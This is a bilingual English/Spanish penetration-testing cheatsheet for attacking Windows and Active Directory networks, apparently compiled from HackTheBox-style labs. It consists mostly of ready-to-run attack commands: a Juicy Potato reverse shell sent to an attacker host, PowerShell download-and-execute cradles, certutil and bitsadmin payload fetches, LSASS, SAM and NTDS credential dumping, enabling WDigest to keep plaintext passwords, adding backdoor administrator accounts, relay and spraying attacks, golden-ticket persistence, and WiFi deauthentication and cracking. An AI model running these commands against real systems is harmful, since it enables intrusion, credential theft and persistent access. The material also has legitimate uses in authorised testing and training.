# Cheatsheet Extra: dehashed a csv ``` jq '[.entries[] | {email:.email,password:.password}]' file.dehashed | jq -r '(.[0] | keys_unsorted) as $keys | $keys, map([.[ $keys[] ]])[] | @csv' | uniq | tr -d '"' | sed 1d | tr ',' ':' ``` Reeplace line break with comma ``` sed -z 's/\n/,/g' FI ``` ## NAC Bypass Change MAC address ```MJ macchanger -m XX:XX:XX:XX:XX:XX ``` **UDP Filtering** Sometimes NAC solutions will only disallow TCP connections but UDP connections would still be allowed and an attacker can leverage this to conduct NETBIOS scan in order to obtain IP and MAC addresses. ``` nbtscan 192.168.112.xx ``` ## Routes ADD & DELETE (VPN) ``` sudo route del -net 169.255.0.0/16 eth0 or ip r del 172.18.0.0/24 via 172.31.100.1 ADD METRIC TEMPORARY ifmetric wlan0 0 ADD METRIC FIX "nano /etc/network/interfaces" auto wlx00e022000576 iface wlx00e022000576 inet dhcp address 192.168.8.125/24 gateway 192.168.8.1 up ifmetric wlan0 0 ``` ## Discovery #### Domain Discovery ``` dig ANY <domain> @DNS_IP dig +noall +multiline <domain> any dig nombre_host.dominio.cl NS fierce -d <domain> ``` #### DNS Scan ``` Dig -t SRV _gc._tcp.<domain fqdn> Dig -t SRV _ldap._tcp.<domain fqdn> Dig -t SRV _kerberos._tcp.<domain fqdn> Dig -t SRV _kpasswd._tcp.<endpoint fqdn> Nmap — script dns-srv-enum –script-args “dns-srv-enum.domain=’<domain fqdn>’” ``` #### ARP discovery ``` db_nmap -sn <network> netdiscover -r <network> ``` #### NBT Discovery ``` nbtscan -r <network> ``` #### Ping Discovery ``` fping -ag 10.10.0.0/16 | tee archivo.txt ping -b 10.10.5.255 (ping to network broadcast address) ping -b 255.255.255.255 nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` ## IPv6 ``` alive6 <interface> (eth0...) use auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement; set INTERFACE eth1; run Address Description ff02::1 All nodes on the local network segment ff02::2 All routers on the local network segment ff02::5 OSPFv3 All SPF routers ff02::6 OSPFv3 All DR routers ff02::8 IS-IS for IPv6 routers ff02::9 RIP routers ff02::a EIGRP routers ff02::d PIM routers ff02::16 MLDv2 reports ff02::1:2 All DHCP servers and relay agents on the local network segment ff02::1:3 All LLMNR hosts on the local network segment ff05::1:3 All DHCP servers on the local network site ff0x::c Simple Service Discovery Protocol ff0x::fb Multicast DNS ff0x::101 Network Time Protocol ff0x::108 Network Information Service ff0x::181 Precision Time Protocol (PTP) version 2 messages except peer delay measurement ff02::6b Precision Time Protocol (PTP) version 2 peer delay measurement messages ff0x::114 Experimental ______________________ Netstat route: netstat -rn -A inet6 ______________________ PING: ping fe80::a469:28c6:3e90:d988%eth0 ping6 -I eth0 ff02::1 | cut -d\ -f4 Link local multicast ping: Linux: ping6 -I eth0 ff02::1 Win: ping - 6 ff02::1 ______________________ NMAP: nmap -6 -e eth0 fe80::/10 -P0 -n -p 3389 -T5 nmap -6 -e eth0 fe80::552c:9b5b:387:6289 -P0 -n -T5 --open _________________________ GET IPv6 Address Without Scanning sudo tshark -i eth0 -nn -e ipv6.src -e eth.src_resolved -T fields -E separator=/s -Y ipv6 -o nameres.mac_name:TRUE > ipv6_address_macvendor.txt Filter duplicate IPv6 addr and mac vendor: awk ‘!array_temp[$0]++’ ipv6_address_macvendor.txt > uniques.txt ``` Man in the Middle IPv6 https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/ NTLM Relaying and Kerberos Delegation https://book.hacktricks.xyz/pentesting/pentesting-network/pentesting-ipv6 Search within the segments found: ``` #!/bin/bash function showme_help { echo " [+] Use:" echo -e " $0 <IP> \n" exit 1 } IP_ADDRESS=$1; function split_ip { echo $IP_ADDRESS | awk -F "." '{print $1"."$2"."$3"."}' #echo $IP_ADDRESS | awk -F "." '{print $1"."$2"."$3".0/24"}' } function Get_dns { echo -e " [+] Init Reverse IP\n" echo -e " [!] CIDR Scan: $(split_ip)0/24\n" for ip in $(seq 1 255); do host_ip=$(split_ip)"$ip"; reserse_ip=$(host $host_ip | grep -v "not found"| awk -F " " '{print $5}') if [ -n "$reserse_ip" ]; then echo -e $host_ip" \t\t\t"${reserse_ip::-1} ; fi done echo -e " \n[!] fin\n" exit 1 } Get_dns ``` ## Scan ``` nmap -P0 -n -p1-65535 --open --reason -sS -T5 --min-parallelism 65535 --max-retries 2 IP_ADDRESS sudo nmap -P0 -n -p 500 --open --reason -sU -T5 --min-parallelism 65535 --max-retries 2 X.X.X.X/XX -oG - | grep "/open" | awk '{ print $1 " " $2 " " $5}' |grep -v 'filtered' sudo nmap -P0 -n -p 8090 --open --reason -sS -T5 --min-parallelism 65535 --max-retries 2 5.36.0.0/16 -oG - | grep "/open" | awk '{ print $2 " " $5}' Masscan accurate port scan: sudo masscan --rate 100 -p1-65535 --open IP_ADDRESS CHILE_SNMP_SYS_DESCR: nmap --script=snmp-sysdescr -P0 -n -p 161 -sU -T5 --min-parallelism 65535 --max-retries 2 -iL CL_IP.txt |grep snmp-sysdescr PING WINDOWS: C:\>FOR /L %x in (1,1,255) do ping -n 1 192.168.2.%x | find /I "reply" >> c:\temp\pingresult.txt cut -d '/' -f 1 SII_PORTS | awk '{ print $2}' | sort -u Scan: sudo nmap -P0 -n -p 161 -sU -T5 --min-parallelism 65535 --max-retries 2 -iL CL_IP.txt -oG - | grep "/open" | awk '{ print $1 " " $2 " " $5}' |grep -v 'filtered' > SNMP_CL Filter: grep -E -o '((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' SNMP_CL > SNMP_IP Extract: for i in $(cat TEMP_sysName_CL_IP); do echo $i && snmpwalk -cpublic -v2c $i; done > TEMP_sysName_CL_Result ``` ## Service Scanning ##### Using msfconsole workspace ``` sudo msfdb init (start msf DB) sudo msfconsole workspace -a <workspace_name> ``` ##### Using db_nmap for service discovery ``` db_nmap -sV -sC -0 -T4 -n -Pn -oA fastscan <ip> db_nmap -sSV -P0 128.1.1.0/24 -p 22,137,445,80,8080,3389,1433,443,5985,53,88,139 --open -oA network_10.10.10.0 (common ports) db_nmap -sU -sV --version-intensity 0 -n -F -T4 <IP> (udp) nmap -T4 -sY -n -oA SCTFastScan <IP> (sctp for telephony data over IP) nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP> masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` #### Sniffing Tools ``` sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i <IFACE> icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` #### Discover Exploits ``` searchsploit "string" searchsploit --nmap file.xml #Search vulns inside an nmap xml result msf> search platform:windows port:<port_number> target:XP type:exploit ``` ### Enumeration without Credentials #### SMB ``` enum4linux -a -u "" -p "" <DC_IP> enum4linux -a -u "guest" -p "" <DC_IP> smbmap -u "" -p "" -P 445 -H <DC IP> smbmap -u "guest" -p "" -P 445 -H <DC IP> smbclient -N -L \\\\IP smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L // crackmapexec smb <dc_ip> -u '' -p '' --users (to get possible users) ``` #### Enumerating LDAP ``` db_nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP> ldapsearch -x -h <IP> -D '' -w '' -b "DC=<subdomain.domain>,DC=<com>" ``` #### Enumerating kerberos ``` nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP> Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP> ``` #### ASREPRoast ``` python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast pyhton GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username python3 GetNPUsers.py -dc-ip 10.10.10.161 -request 'htb.local/' hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt #cracking hashes using hashcat ``` #### RPC ``` rpcclient -U "" -N <host> -W <domain> querydispinfo enumdomusers enumdomgroups ``` #### Using Responder ``` responder -I <interface> --lm ``` #### Creating a wordlist 1. Generate a small wordlist using common words 2. Add years and symbols to it ``` for i in $(cat dict.txt); do echo $i; echo${i}.2021; echo${i}.2022\!; done >> dict2.txt ``` 3. Use rules ``` hashcat —force —stdout dict2.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles1.rule >> dict3.txt ``` 4. Sort it and count the characters so they match the password policy ##### SMB Relay * Only works if SMB signing is disabled 1. Modify Responder.conf, HTTP and SMB Off ``` responder -I <interface> rdwv ``` 2. `ntlmrelayx.py -tf <targets_file> -smb2support` #### Password Spraying ``` crackmapexec <IP> -u '' -p '' --pass-pol # get the password policy and not block users crackmapexec <IP> -u users.txt -p pass.txt smb (add domain but it could block users) scanner/smb/smb_login #msfconsole ``` ## Enumeration with Domain Credentials #### Using Bloodhound ``` bloodhound-python -d <domain> -u <user> -p <password> -gc DC01.lab.local -c all proxychains bloodhound-python -u support -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local -c all --dns-tcp ``` #### LDAP ``` ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TDL>" -x Simple Authentication -h LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` #### SMB for shares ``` smbclient -U 'username' -P 'password' \\\\IP\\share smbmap -u "username" -p "password" -H <IP> ``` **Common shares:** 1. C$ 2. D$ 3. ADMIN$ 4. IPC$ 5. PRINT$ 6. FAX$ 7. SYSVOL$ 8. NETLOGON$ #### SPN Tickets ``` impacket-GetUserSPNs <domain>/<user>:<password> -request -save -dc-ip <IP> ``` ## Common Vulnerabilities #### MS17_010 ``` auxiliary/scanner/smb/smb_ms17_010 services -p 445 -R u set Threads 11 run ``` #### Bluekeep ``` auxiliary/scanner/rdp/cve_2019_0708_blueekeep services -p 3389 -R u set Threads 11 run ``` #### FTP anonymous/default credentials ``` auxiliary/scanner/ftp/ftp_login services -P 21 -R -u set USERNAME <username> set PASSWORD <password> run ``` #### SSH Login ``` auxiliary/scanner/ssh/ssh_login services -p 22 -R -u set THREADS 11 set USERNAME <username> set PASSWORD <password> ``` #### ProxyLogon/Proxyshell python3 proxyshell.py -u <machine.domain> -e administrator@domain.com #### Print Nightmare **Check if vulnerable** ``` rpcdump.py @<dc_ip> -p 135 | egrep 'MS-RPRN|MS-PAR' ``` 1. Locate domain controller 2. Test user credentials in domain (msf6 auxiliary(scanner/smb/smb_login)) 3. download python git clone https://github.com/cube0x0/CVE-2021-1675.git 4. install impacket version git clone https://github.com/cube0x0/impacket 5. have the adduser dll 6. modify smbconf and restart samba 7. cp dll to /tmp folder 8. python3 CVE-2021-1675.py domain/user:password@DC_IP '\\kali_ip\smb\evil.dll' #### Juicy Potato ``` juicypotato -l 1337 -p C:\windows\system32\cmd.exe -a "/c C:\path\to\nc.exe -e cmd.exe attacker_ip port" -t * ``` CLSID: http://ohpe.it/juicy-potato/CLSID/ Ref: https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/juicypotato#juicy-potato-abusing-the-golden-privileges ## Post-Compromise #### Add user ``` net user /add nb password123 net localgroup administrators nb /add ``` #### Dump creds ``` secretsdump.py -sam sam.save -security security.save -system system.save LOCAL ``` #### Allow RDP ``` reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall set rule group="remote desktop" new enable=Yes net localgroup "Remote Desktop Users" nb /ADD ``` #### Dump LSASS Leer lsass local en kali pypykatz lsa minidump lsass.DMP ## Useful Tools & Commands **Local Port Forwarding** ``` ssh -L [LOCAL_IP:]LOCAL_PORT:DESTINATION:DESTINATION_PORT [USER@]SSH_SERVER 1. [LOCAL_IP:]LOCAL_PORT - The local machine IP address and port number. When LOCAL_IP is omitted, the ssh client binds on the localhost. 2. DESTINATION:DESTINATION_PORT - The IP or hostname and the port of the destination machine. 3. [USER@]SERVER_IP - The remote SSH user and server IP address. ``` **Remote Port Forwarding** ``` ssh -R [REMOTE:]REMOTE_PORT:DESTINATION:DESTINATION_PORT [USER@]SSH_SERVER 1.[REMOTE:]REMOTE_PORT - The IP and the port number on the remote SSH server. An empty REMOTE means that the remote SSH server will bind on all interfaces. 2. DESTINATION:DESTINATION_PORT - The IP or hostname and the port of the destination machine. 3. [USER@]SERVER_IP - The remote SSH user and server IP address. ``` # Extras - Windows ## POST Explotación (low privileges) ## SMB SERVER KALI LINUX ``` impacket-smbserver -smb2support 'prueba' /home/linux/Descargas Correr binario desde comsola de Windows por SMB: \\192.168.0.18\prueba\BYPASS_DEFENDER.exe ``` ## Listar Domain Controllers ``` netdom query /d:HOLA DC or nltest /dclist:HOLA.COM ``` ## Listar FSMO Roles (PDC,etc...) ``` netdom query fsmo ``` ## Listar Usuarios de una OU ``` dsquery user "OU=Arica,OU=Muelles Unit,OU=Regiones,DC=hola,DC=com" | dsget user -samid -fn -ln -display ``` ## Listar Creacion, Modificacion y Ultimo Logon de Usuarios ``` Get-ADUser -Filter {Enabled -eq $True} -Property Created,Modified,LastLogonDate | Select-Object -Property Name, SAMAccountName, Created, Modified, LastLogonDate ``` ## Listar Logon Server ``` echo %logonserver% ``` ## Enumerar usuarios de dominio ```shell PS:\> NET USERS /DOMAIN >USERS.TXT. ``` Cuenta actual en uso ```shell PS:\> Whoami PS:\> $env:username PS:\> echo %USERNAME% ``` ## Active directory Enum Luego del compromiso de alguna máquina de la red, es necesario hacer una apropiada enumeración. A continuación algunos comandos que pueden ser de utilidad. Enumerar máquinas conectadas al AD: ```powershell PS:\> Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper* ``` Otra forma de hacer lo mismo: ```powershell PS:\> wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname | nslookup ``` ### busqueda de credenciales ``` dir /s *pass* == *cred* == *vnc* == *.config* findstr /si password *.xml *.ini *.txt reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s ``` ## Privilege Scalation Scripts - https://github.com/HarmJ0y/PowerUp - https://github.com/AlessandroZ/BeRoot - https://github.com/pentestmonkey/windows-privesc-check - https://github.com/rasta-mouse/Sherlock - https://github.com/AonCyberLabs/Windows-Exploit-Suggester - https://github.com/carlospolop/PEASS-ng (linpeass linux, winpeas para windows) para usar sherlock: ``` powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1; Find-AllVulns}" ``` ## Reverse shells interesantes - https://github.com/samratashok/nishang/tree/master/Shells ## Empezar a guardar creds en memoria ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 ``` ## SMB Para montar una carpeta compartida: ``` mount -t cifs "//10.10.10.103/Department Shares" /mnt ``` enumerar carpetas compartidas: ``` smbclient -N -L \\\\10.10.10.103 ``` Buscar si en algun directorio es escribible ``` find . -type d | while read directory; do touch ${directory}/0xdf 2>/dev/null && echo "${directory} - write file" && rm ${directory}/0xdf; mkdir ${directory}/0xdf 2>/dev/null && echo "${directory} - write directory" && rmdir ${directory}/0xdf; done ``` agregar usuario a smb ``` REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f ``` En el caso de que sea posible conectarse a SMB usando el usuario anonimo pero esta no liste ninguna carpeta comaprtida, podemos usar crackmapexec para obtener información del dominio: ``` crackmapexec smb <IP> -u '' -p '' --users crackmapexec smb <IP> -u '' -p '' --groups crackmapexec smb <IP> -u '' -p '' --pass-pol ``` ## Obtener tickets SPN Cualquier usuario del dominio, independientemente de sus privilegios, puede solicitar los tickets SPN de los servicios, tanto con herramientas nativas, como de terceros. Un SPN es un identificador único de una instancia de servicio, como por ejemplo, IIS, MSSQL, CIFS. La autenticación de Kerberos utiliza los SPN para asociar una instancia de servicio con una cuenta de inicio de sesión de servicio. Esto permite que una aplicación cliente solicite que el servicio autentique una cuenta incluso si el cliente no tiene el nombre de la cuenta. Estas cuentas suelen ser configuradas por humanos y, por ende, siempre es probable que quien la configuró haya definido una contraseña débil, y esto hace a la cuenta vulnerable a ataques como el Kerberoasting. ``` python GetUserSPNs.py <dominio>/<usuario de dominio> -dc-ip <IP DC> -request #aqui se abrira un prompt para password ``` ## RDP Conectarse usando xfreerdp ``` xfreerdp /v:172.16.0.78 /u:dl_user /p:'Hacker.1' /drive:share,/root/share/ ``` conectarse usando rdesktop: ``` rdesktop -u offsec -p [mipass] 10.11.24.189 rdesktop -u offsec -p [mipass] 10.11.24.189 -g 1280x1024 #resize ``` Habilitar RDP ``` reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall set rule group="remote desktop" new enable=Yes net localgroup "Remote Desktop Users" jscott /ADD ``` RDP con carpeta compartida ``` rdesktop -u Administrador -p PASSSWORD -r disk:share=/root/ -g 1280x1024 <IP> ``` # POST EXPLOITATION CON PRIVILEGIOS #### Agregamos usuario a grupo administrador ``` net user /add nb password123 net localgroup administrators nb /add ``` #### Agregamos usuarios a SMB ``` REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f ``` #### habilitamos registro RDP ``` reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f ``` #### Permitimos uso de RDP en firewall ``` netsh advfirewall firewall set rule group="remote desktop" new enable=Yes ``` #### Agregamos usuario al grupo de la nueva regla de firewall ``` net localgroup "Remote Desktop Users" nb /ADD ``` #### Dump domain creds dump domain admin ntds.dit y el archivo SYSTEM ``` powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q" ``` En el caso en que las creds no se esten guardando por defecto (como en el caso de windows 10 ena delante), se sugiere habilitar la llave de registro para que comience a guardar las creds en la BD y luego de x horas dumpearlo (servivira perfactamente en un exchange por ejemplo). ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 ``` Luego de forma local, dumpeamos el dominio: ``` ./secretsdump.py -ntds /root/ntds.dit -system /root/system LOCAL ``` #### Robar sam, security y sistem ``` reg.exe save hklm\sam c:\windows\temp\sam.save reg.exe save hklm\security c:\windows\temp\security.save reg.exe save hklm\system c:\windows\temp\system.save ``` De forma local, sacamos las creds: ``` secretsdump.py -sam sam.save -security security.save -system system.save LOCAL ``` #### Dumpear lsass de máquina ``` procdump64.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1 ``` ```shell .\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full ``` #### Descargar y ejecutar archivos: ``` PowerShell (New-Object System.Net.WebClient).DownloadFile('http://10.10.14.10:8000/PowerUp.ps1','powerup.ps1') powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/a'))" ``` ``` Import-Module BitTransfer: Start-BitsTransfer -Source 'URL ql' -Destination example.file ``` ``` powershell -c "Invoke-WebRequest -Uri 'https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.2/lazagne.exe' -OutFile 'lz.exe'" ``` ``` powershell "IEX(New-Object Net.WebClient).downloadString('https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.2/lazagne.exe')" ``` ``` bitsadmin /transfer download /priority normal http://IP_ADDR/file C:\output\path (Works on Windows 7/Windows Server 2000+) ``` ``` nc IP_ADDR PORT > OUTFILE (run nc -lvp PORT < infile on attacking machine) ``` ``` ftp -s:input.txt ``` ``` tftp -i get file /path/on/victim ``` ``` powershell.exe -exec bypass -Command “& {iex((New-Object System.Net.WebClient).DownloadFile(‘http://IP_ADDR:PORT/FILE','C:\Users\user\AppData\Local\ack.exe'));}” ``` ``` certutil -urlcache -split -f “http://IP_ADDR/FILE" FILENAME ``` Conocer dominios y GPOS ``` gpresult /r ``` ## Golden ticket Se requieren dos condiciones para obtener un golden ticket y generar persistencia en un ambiente AD: - Hash NTLM de usuario KRBTGT - Domain’s Security Identifier (SID) del usuario KRBTGT Este ataque, lo realizaremos con el objetivo de obtener persistencia dentro de la red de active directory, por lo que no es una vulnerabilidad como tal. Para obtener el hash ntlm del usuario krbtgt, podemos usar secrets dump con una cuenta domain admin. ```shell python3 secretsdump.py htb.local/Administrator@10.10.10.161 -hashes :32693b11e6aa90eb43d32c72a07ceea6 -just-dc-user krbtgt ``` Luego, para obtener el SID del usuario, podemos usar wmic o powerview.ps1 : ```batch C:> wmic useraccount where (name='administrator' and domain='%userdomain%') get name,sid ``` Luego, debemos sincronizar la hora de nuestra máquina con la del DC para poder generar el ticket y cualquier query al DC. Esto podemos hacerlo utilizando ntp. ```shell sudo sntp <dc-ip> ``` Luego editamos el /etc/hosts con la IP del DC y el dominio de la máquina. Finalmente, generamos el goldenticket de la siguiente manera: ```shell python3 ticketer.py -nthash <hash krbtgt> -domain-sid <SID krbtgt> -domain <dominio> <nombre random del ticket> ``` Con esto se generará un archivo de extencion .ccache del estilo `<nombre_random_del_ticket.ccache>` que utilizaremos para impersonar usuarios en la red. Pero antes de ello, debemos exportar una varibale de entorno con el nombre del archivo generado: ```shell export KRB5CCNAME=Administrator.ccache # aqui va el nombre random que le pusimos al ticket ``` y ya podemos loguearnos en cualquier máquina usando psexec o wmiexec. ```shell python3 wmiexec.py <dominio>/Administrator@FOREST.HTB.LOCAL -k -no-pass -dc-ip 10.10.10.161 ``` referencia: https://medium.com/bugbountywriteup/forest-an-asreproast-dcsync-and-golden-ticket-hackthebox-walkthrough-ade8dcdd1ee5 ### WiFi (Extra) ``` Visualizar redes sudo airodump-ng -band abg -a --manufacturer --wps wlan0 Alternativa: sudo wavemon Modo monitor sudo airmon-ng start wlp0s20f0u2 Captura sudo airodump-ng wlp0s20f0u2 -a --bssid <MAC> --channel <CH> -w output Deauth AP sudo aireplay-ng --deauth 0 -a <MAC AP> wlp0s20f0u2 Deauth AP + CLI sudo aireplay-ng --deauth 0 -a <MAC AP> -c <MAC CLI> wlp0s20f0u2 Cracking aircrack-ng sudo aircrack-ng output-0*.cap -w <diccionario> Cracking Hashcat cap2hccapx <captured.cap> <output.hccapx> hashcat -a 0 -m 2500 <output.hccapx> <diccionario> -r <rules> --show PMKID sudo airodump-ng wlp0s20f0u2 -a --essid “<nombre_wifi>” -w captura --channel <CH> hcxdumptool -i wlp0s20f0u2 --enable_status=5 (Capture all PMKID) hcxdumptool -o <output> -i wlp0s20f0u2 --enable_status=1 filterlist_ap=<SSID> --filtermode=2 hcxcaptool <output.hccapx> -z <outputhash> hashcat -m 16800 >outputhash> <diccionario> ``` # Extras Problemas para montar un disco externo: ``` sudo ntfsfix /dev/"device name" ``` ## Useful links: 1. Different payloads, cheatsheets and methodologies https://github.com/swisskyrepo/PayloadsAllTheThings/ 2. Hacktricks: https://github.com/carlospolop/hacktricks 3. Wordlists (for attacks, password and discorvery): https://github.com/danielmiessler/SecLists https://haxx./files/blasty-vs-pkexec.c